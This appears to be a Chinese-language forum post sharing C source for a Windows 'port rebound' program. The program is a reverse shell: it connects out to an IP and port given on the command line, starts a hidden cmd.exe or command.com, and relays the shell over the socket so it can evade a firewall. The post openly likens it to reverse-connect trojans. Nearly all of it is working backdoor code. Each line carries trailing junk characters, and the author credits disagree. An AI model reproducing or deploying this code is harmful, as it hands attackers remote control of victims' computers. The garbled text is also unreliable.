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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f%,S::%Ea  
Pp-N2t86#2  
/* ============================== ?Ts]zO%%Z  
Rebound port in Windows NT Gk*u^J(  
By wind,2006/7 uaF-3  
===============================*/ oZiW4z*Wh  
#include k~8-E u1  
#include m"n74 cxS  
hn8xs5vN  
#pragma comment(lib,"wsock32.lib") ,2fi`9=\  
]ZcivnN#  
void OutputShell(); +Ww] %`_  
SOCKET sClient; MW 7~=T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; * @4@eQF  
-`PziG l@<  
void main(int argc,char **argv) H%O\4V2s  
{ o9 9ExQ.  
WSADATA stWsaData; <{kPa_`'  
int nRet; _u[tv,  
SOCKADDR_IN stSaiClient,stSaiServer; 8OZj24*'DS  
<-v zS;  
if(argc != 3) `q-+r1u  
{ LeLUt<4~  
printf("Useage:\n\rRebound DestIP DestPort\n"); jw:z2:0~  
return; l<+ [l$0#  
} ]eKuR"ob0  
uCDe>Q4@/  
WSAStartup(MAKEWORD(2,2),&stWsaData); jsN[Drra  
{ LvD\4h"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N:<$]x>  
'5BD%#[  
stSaiClient.sin_family = AF_INET; W~ ~'  
stSaiClient.sin_port = htons(0); i<"lXu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1,wcf,  
XGB\rf vS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @ b!]Jw  
{ e_=K0fFz  
printf("Bind Socket Failed!\n"); @ wR3L:@  
return; kkq1:\pZ]a  
} ab2FK  
=\O#F88ui  
stSaiServer.sin_family = AF_INET; GOc   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #%"G[B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zk=,`sBC  
kEDpF26!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) duG3-E  
{ ..} P$  
printf("Connect Error!"); y!=,u  
return; qPQIcJ  
} lp *GJP]T  
OutputShell(); |8k1Bap`z  
} Kv| x -_7  
/Q;wz!V$  
void OutputShell() |UB$^)Twb  
{ /3ohm|!rW  
char szBuff[1024]; +Uq|Yh'Q  
SECURITY_ATTRIBUTES stSecurityAttributes; qq5X3K2&  
OSVERSIONINFO stOsversionInfo; = -2~>B  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <,M"kF:  
STARTUPINFO stStartupInfo; FH=2, "A  
char *szShell; 3ay},3MCV%  
PROCESS_INFORMATION stProcessInformation; XQy`5iv  
unsigned long lBytesRead; zV&l^.  
9^}&PEl  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9hA`I tS  
hp~q!Q1=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); = QBvU)Ki  
stSecurityAttributes.lpSecurityDescriptor = 0; !/}3/iU  
stSecurityAttributes.bInheritHandle = TRUE; nQiZ6[L  
8ZY]-%  
;M3%t=KV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WWunS|B!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KnG7w^  
} k2 Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \4N8-GwZQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q^aDZzx,z  
stStartupInfo.wShowWindow = SW_HIDE; DG;7+2U  
stStartupInfo.hStdInput = hReadPipe; 8%9 C<+.R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IbI0".o  
1@|+l!rYF  
GetVersionEx(&stOsversionInfo); (uC8M,I\  
I){4MoH.  
switch(stOsversionInfo.dwPlatformId) D>7a0p784  
{ <A,V/']  
case 1: Xq135/d  
szShell = "command.com"; FP=B/!g  
break; v #+ECx  
default: 8c9HJ9vk  
szShell = "cmd.exe"; ,Wlt[T(.;  
break; EOB8|:*  
} "`% ,l|D  
[M\ an6h6O  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3x[C pg,  
GL n M1  
send(sClient,szMsg,77,0); ;u<Ah?w=Z  
while(1) PJ5}c!o[  
{ 3]*Kz*i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ? "I %K%  
if(lBytesRead) tl 0|.Q,  
{ hE&6;3">  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d>p' A_  
send(sClient,szBuff,lBytesRead,0); ` s7pM  
} r07u6OA  
else DB|1Sqjsn  
{ ^^b'tP1>  
lBytesRead=recv(sClient,szBuff,1024,0); 7a"06Et^  
if(lBytesRead<=0) break; V%8(zt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mUg :<.^  
} eh9 ?GUr5  
} \Bo$ 3  
_WEJ,0* #'  
return; H,(vTthd  
}
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